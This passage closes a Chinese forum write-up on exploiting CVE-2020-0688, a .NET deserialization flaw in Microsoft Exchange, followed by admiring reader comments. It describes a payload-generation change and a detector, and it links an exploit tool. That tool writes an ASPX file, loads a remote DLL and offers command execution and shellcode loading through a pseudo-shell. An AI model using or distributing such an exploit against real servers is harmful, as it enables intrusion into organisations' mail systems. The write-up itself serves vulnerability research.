,同样会导致序列化编译器自动生成的类,所以只能通过反射进行创建。RemoteStub.dll
为需要在远程加载执行的dll。
修改ActivitySurrogateSelectorGenerator并重新生成payload,其中不再包含任何自动生成类。编译执行访问成功加载执行我们指定的程序集,至此漏洞利用圆满达成。
0x50 Exp
有了上述研究结论,编写出更为通用的exp也就不难了,可以在附件或http://github/zcgonvh/CVE-2020-0688 进行下载。
其中ExchangeDetect为检测程序,原理基于0x31一节所述,可以在CoreCLR
环境下运行。仅支持单个检测,存在漏洞的话ExitCode
将返回4。如果需要批量检测请自行修改或判断返回值。
执行结果如图所示:
ExchangeCmd为Exp,支持命令执行和远程ShellCode加载,其原理基于0x41-0x45小节所述。第一阶段通过反序列化写入空白LiveIdError.aspx
,第二阶段通过向此文件发送最终的Payload加载指定自定义dll,达到代码执行。
执行成功后会返回一个伪交互式命令行,其支持的命令如下:
exec <cmd> [args]
exec command
arch
get remote process architecture(for shellcode)
shellcode <shellcode.bin>
run shellcode
exit
exit program
在本地测试环境执行的结果如图所示:
RemoteStub为此Exp发送的dll,所有的交互都已进行加密,其执行whoami /all
产生的数据如图所示:
附件: 解压密码见注释。
TCV=5
评论56次
师傅太强了,安全的路还很长,我还得继续加油
zcgonvh大佬的功力有点强,佩服,前面的基本看不懂,哎。。。
https://www.cnblogs.com/nice0e3/p/15758903.html
太强了师傅 最近正好再学NET 遇到这个解析真不错
http://www.china-infosec.org.cn/index.php?m=content&c=index&a=show&catid=37&id=363
最近看域渗透 Exchange看得比较多 师傅的文章小弟里面有很多看不懂
看不懂 点个赞 tql
师傅真的nb,写的太好了,学到了
之前搜了好久,终于在这里找到exp
能看出来你是有代码功底的人 不知道你在哪个地方 我之前在SH工作过一段时间 说实话你这样的技术 我在那个地方没见到几个
帝都,欢迎来挖。 能力和环境没绝对的关xi,要看个人。
能看出来你是有代码功底的人 不知道你在哪个地方 我之前在SH工作过一段时间 说实话你这样的技术 我在那个地方没见到几个
试了下,漏洞不存在。爆破邮箱也很麻烦
师傅强 又学到了
好久不来tools,又发现一个大佬
.net的序列化漏洞,太厉害了,能分享cs工程吗
写的好详细 ,都是干货
zcgonvh大佬的功力有点强,佩服,前面的基本看不懂,哎。。。
需要的知识储备很多呀,收藏学xi了。
感谢楼主 这应该是国内对EXCHANGE这个漏洞总结最详细的了吧
国内.net的分析学xi文章和Php比起来真的不多,但很多政要部门用的是.net。向大哥学xi,感谢大哥的分析。
额,看的不是很懂,先留言,再仔细阅读研究一下
大佬,就是大佬